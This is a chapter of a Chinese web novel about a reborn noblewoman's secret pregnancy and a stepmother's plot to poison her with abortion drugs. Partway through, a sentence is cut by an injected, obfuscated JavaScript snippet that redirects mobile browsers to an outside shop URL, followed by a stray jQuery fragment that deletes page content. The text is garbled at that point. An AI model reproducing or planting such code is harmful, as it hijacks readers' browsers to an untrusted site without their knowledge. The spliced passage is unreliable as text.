崔清月歇完午觉,来崔幼澜这里找她玩一会儿,却发现崔幼澜这里静悄悄的,平日里几个婢子总是要弄出点动静来,今日却像是集体被毒哑了。
早先崔幼澜同她说过,早上要出门一趟去买东西顺便办事,崔清月素来喜静,崔幼澜不主动邀她一起前去,她自然也不会提出跟着她,而是更喜欢在家里待着,眼下见崔幼澜这里没个人声,崔清月几乎要以为她还没从外面回来了。
她正要喊人,却见剪雪已经从里面出来迎她,对着崔清月挤出一个笑;“六娘子里面请,娘子也刚起身呢!”
崔清月便像往日一样进去,又像往日一样在崔幼澜对面坐下,两人絮絮说起一些话来,都不是什么要紧的事,而是想到什么就说什么。
然而今日除了她和崔幼澜的说话声,裁冰她们竟一点动静都没有,崔清月说着说着察觉到了,奇怪道:“你们几个今天是怎么了?”
裁冰唯恐被崔清月看出来,慌里慌张就要说话,被崔幼澜拦下,崔幼澜轻叹一声,朝着崔清月俯身过去,依在她耳畔轻轻说了几句话。
崔清月听了之后,久久没有说话,像是根本就没有人和她说过什么。
崔幼澜知道崔清月一向循规蹈矩,最是乖顺娴静的人,恐怕是吓到她了,便也不催她,刚要去给崔清月添茶水,却被崔清月一把捏住手腕,崔幼澜一时也没防备,茶水泼出来许多到几案上。
“七妹妹,你说的可是真的?”崔清月的脸已经变得煞白,“这种事不是开玩笑的,你怎么会……”
崔幼澜扔了帕子到溅洒出来的茶水上,很快丝质的帕子便湿了个透顶,失去了原本的颜色。
“事情就是发生了,我也不想吓到姐姐,但你我在一处,姐姐总有一日要知道的。”崔幼澜一字一句说道。
崔清月整个人就和被抽干了力气一样,撑着手边的几案一时说不出话来,甚至连茶水湿了衣袖都没有察觉。
半晌后,崔清月才哑着嗓子说道:“咱们立即回盛都去,你是在宫里出的事,一定要告诉大姐姐,让大姐姐去查,到底是谁把你害成这样!”
“没用的,木已成舟,再查也是无用,他们必定早就隐去了痕迹。”崔幼澜垂下眼眸,想起上辈子查了也是没有结果,“我跟着祖母来宜州,就是为了远远避开,我自有打算。”
崔清月立刻接着说道:“你能有什么打算?便是你不想回盛都,也要马上去告诉祖母,这样的事,我们担不起,况且你已经有孕,眼下要马上找到孩子的父亲,否则你……”
崔幼澜按住崔清月轻颤的手,语气平静:“六姐姐,我真的知道该怎么做,姐姐就暂且当做不知情,每天该怎样就是怎样,祖母那里我会找机会坦白。只是或许在某些必要的时候,我可能需要姐姐帮我,不过我也一定不会让姐姐为难。”
“你……”崔清月张了张嘴,渐渐明白过来自己拗不过她,最终也只能道,“好吧,你都这样说了,我还能怎么办呢?你去找祖母坦白的时候,我和你一起去,虽然并非你的过错,但唯恐祖母还是要怪罪,我在场也帮你求情几句。”
崔幼澜点点头,又怕崔清月害怕,刚要安慰她,没想到崔清月已经伸手把她搂住,细声道:“妹妹也不要太过忧心,事情总有解决的法子的,多思伤身,有什么便同我说说,我虽是家里最无用的人,但也能帮你疏解一二。”
崔幼澜原本已经盘算好了后面的事,每一步都反反复复想清楚了,她也早过了忧思不断的时候了——那都是上辈子的事了,但眼下听崔清月柔声细语,她心里莫名就是一酸。
这酸好久都没下去,一时她不说话不动作,崔清月也就这么搂着她。
崔幼澜略微侧过头去看崔清月,只见她的眼中满是怜惜,崔幼澜恍惚起来。
前世的时候她恨得不想见任何人,然而除了母亲之外,其他人也对她避之不及,还有不少人在背地里看她笑话。但崔清月是来瞧过她几次的,有几次被她拒之门外,有几次进来了她也不理会她。
崔幼澜承认自己那时其实是对崔清月有过怨恨,甚至是嫉妒的,本来入宫的人是她才对,崔清月却在她出事之后将她取而代之。
很快姐妹俩各奔前程,崔幼澜倒也不再想着过去的事,慢慢淡忘了心结。
可是崔清月死得突然,也就是崔清月的死让崔幼澜幡然悔悟,崔清月并没有抢她什么东西,她被命运推上了不想走的路,崔清月又何尝不是呢?
崔清月甚至是替她受过,如果进宫的是她,那么死的人也很有可能就是她,再退一万步来说,就算她入宫后没有像崔清月一样死去,但崔清月至少在宫外是快活的,不会在产子之后没多久就香消玉殒。
她对不起崔清月,只可惜往事不可追,当初的那个崔清月,已经永远被她远远推开了。
崔幼澜把头埋到崔清月的脖颈边上,呜咽着叫了一声:“姐姐。”
崔清月也没忍住,掖了帕子落下泪来。
一时裁冰几个也都小声抽泣起来。
崔幼澜伤心了一阵,便明白不能继续再这么一起难过下去,她马上收敛回心绪,又看向裁冰她们。
她自然知道她们心里都在想什么,不仅是担心她,也是担心自己,这也正是上辈子已经发生过的事。
这几个婢子,她也对不住她们。
崔幼澜想了想,最终还是没忍住道:“你们几个也放心,后路我都给你们找好了,在向祖母坦白之前,我会先给你们一笔钱,然后偷偷放你们离开。”
“娘子把我们当什么了?”裁冰猛地抬头,眼里忽然扑簌簌掉下眼泪,一时哽咽说不出话,剪雪便上前来道,“我们不是想着自己的前程,我们是娘子的人,生死好坏都是和娘子绑在一起的,便是娘子让我们走,我们也不走,难道走了留娘子一个人面对吗?我们只是担心娘子,娘子以后可怎么办?”
裁冰忍住眼泪,拦了剪雪,又说道:“娘子的意思是早晚要和老夫人坦白,可终归这府上还有别人,那蒋夫人就不是个善茬,府上那些人听她话的也多,最近恐怕没少来窥视我们,万一被发现了……”
崔幼澜默了默,只道:“我接下来也有些要紧的事要做。”
语罢,只听崔清月重重叹了一口气。
一时也没有人再说话,最后还是凝碧道:“我去给娘子煎药了,一会儿娘子要喝,我会尽量小心。”
崔幼澜点头,看看她们,又看看崔清月:“这几日,我们要警醒着些了。”
***
深夜,蒋氏安顿好还在养伤的崔文和,便轻手轻脚出来,门口早有个婆子在等她,见她出来忙要说话,被蒋氏一个眼刀扫过去,立刻闭了嘴。
蒋氏带着婆子进了旁边一间厢房,只点了一盏灯,房间里昏暗得紧,那婆子便已双手捧着一样东西举到蒋氏面前。
只见一张油纸上放着一小团黑乎乎的东西,看不出是什么,蒋氏只闻到药味,掩了鼻子皱眉问:“这是什么东西?”
婆子小声道:“安胎药。”
蒋氏翻了个白眼:“好你个钟婆子,这种东西拿过来做什么?我还管府上哪个媳妇生养?”
“哎呀不是,不是,”钟婆子原本想讨好卖弄一番,没想到蒋氏这几日脾气更差,连忙说道,“这是七娘子那里捡出来的。”
蒋氏瞪了瞪眼睛:“崔幼澜?这到底什么事?”
钟婆子道:“夫人不是让我盯着竹风阁吗,这就是我从竹风阁拿过来的,七娘子的婢子凝碧亲自倒掉的药渣!”
“竹风阁里有人有了身孕!”蒋氏一下子来了兴趣,“可知道是谁吗?”
“多半是……”钟婆子贴到她耳边,“七娘子。”
蒋氏心里已经欣喜不已,但她还没有那么蠢去轻信风言风语,忙正色道:“这话可不能胡说,她是要入宫的人。”
钟婆子道:“夫人放心,我已经盯了好几日了,凝碧这药就是端进去给七娘子的,不会错的。”
“好,好……”蒋氏的心跳得快要蹦出来,嘴里很快狠狠道,“出了这种丑事还敢喝安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299198|140204||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
胎药,我看她是不要命了。”
蒋氏隐约觉得,自己上回想要的那个契机,突然就被对方送上门了。
她拉住钟婆子,问:“她这些时日可有接触什么男子?可有出门?你快细说!”
钟婆子装模作样想了一阵,急得蒋氏来回踱步,终于说道:“男子没有,也不大出门,多数时间都和六娘子在一起。”
“抓不到奸/夫,这意思就没了一半。”蒋氏一面嘴上喃喃,一面盘算着自己的。
钟婆子上前:“会不会是那个薛泽,不然七娘子吃饱了撑的给他做主?我看他们两个一定有见不得人的事!”
蒋氏没好气道:“薛泽?你脑子发了昏!她来宜州连一个月都不到,就算和薛泽好上了也没那么快的!”
一时钟婆子也没话了,不过半晌后她又道:“还有一件事,仿佛已经许久前了,角门的一个老婆子好像从外面递了一封信给七娘子,当时说过也就没当回事,现在看看是不是和七娘子有孕一事有关系?”
“好了好了,不用说了,捕风捉影的事现在还怎么找?”蒋氏眼睛一眯,得意之色突现,“没有男的也无妨了,她落在我手上就够了。”
钟婆子问:“要去告诉老夫人吗?”
蒋氏冷笑着摇了摇头:“不用急,有的是等着她们祖孙俩的。”
这样好的机会送上门来,她岂有放过的道理?
如果马上去告诉俞氏,俞氏一定会对崔幼澜很生气,可也仅此而已,俞氏不可能把亲孙女弄死,崔幼澜最多就是不能入宫了,其他毫发无损,反而极有可能被俞氏极力瞒下这桩丑事。
她先前就恨不得俞氏和崔幼澜去死,只是苦于没办法动手,然而现在不就可以拿崔幼澜怀孕一事大做文章了吗?
蒋氏简直要大笑起来。
真是得来全不费工夫,那丫头看似厉害,没想到竟也是个糊涂的,放着入宫的大好前程不要,偏偏做出这种事情,若不是崔幼澜自己出了事,她还真束手无策,找不到对付俞氏和崔幼澜的办法。
蒋氏深深吸了一口气,屋内只有单枝的蜡烛将她的身影照在墙上,摇摇晃晃,她不停地踱着步,从光亮处走到昏暗处,又从昏暗处走到光亮处。
终于,她停住脚步,冲着不远处的钟婆子招了招手,钟婆子知道她有话要吩咐,便赶紧眼巴巴上前来,被蒋氏一把握住她的手:“钟妈妈,宋娘子前些天也被她们整倒了,我身边最信得过的就是你了,若我此番不好,宅子里这些人也肯定要被那老不死的打发出去的。”
钟婆子立马就懂了她的意思:“夫人您说,您说。”
“你明日一早就去弄几帖落胎药,要越猛越好,买回来之后再把几帖药煎成一碗,”蒋氏狠狠咬着牙,仿佛面前已经出现了崔幼澜,“将她喝的药换下来。”
钟婆子犹豫了一下,道:“空子倒是寻得到的,但若是这药下得太猛了,恐怕要出人命的,她如果出了事,老夫人一定会追查下去,夫人还是不要太冲动了。”
蒋氏道:“我没有冲动,你就按我说的去办,只要把那药成功换上去就一切好说了。老东西知道那个小的跟人私通有孕,一怒之下便喂她喝了药,小的没撑住去了,老东西也被她气死了,这样说都说得通,而且这种丢脸的事,盛都恐怕也不敢声张,就算会派了人过来,宜州离盛都到底要好几日的工夫才能到,两个人早就凉了,还能干什么?”
“她们身边那么多人伺候着,要堵住这些人的嘴也没有那么容易。”钟婆子继续提醒道。
“怕什么,既然是如此阴私之事,我又有借口不能大张旗鼓,也有办法能遮掩住,最多就是老东西身边的王妈妈,让她殉主去了便是,至于崔七娘身边那几个,出了这样的事谁还会管她们,全都发卖了事。”蒋氏说着说着,再也掩饰不住脸上的笑意,呵呵地笑了出来。
钟婆子是她的人,也不可能再向俞氏去投诚,既然蒋氏已经安排得妥当,又见过蒋氏素日的手段,便也只能照着她说的做,第二日便去弄了药回来。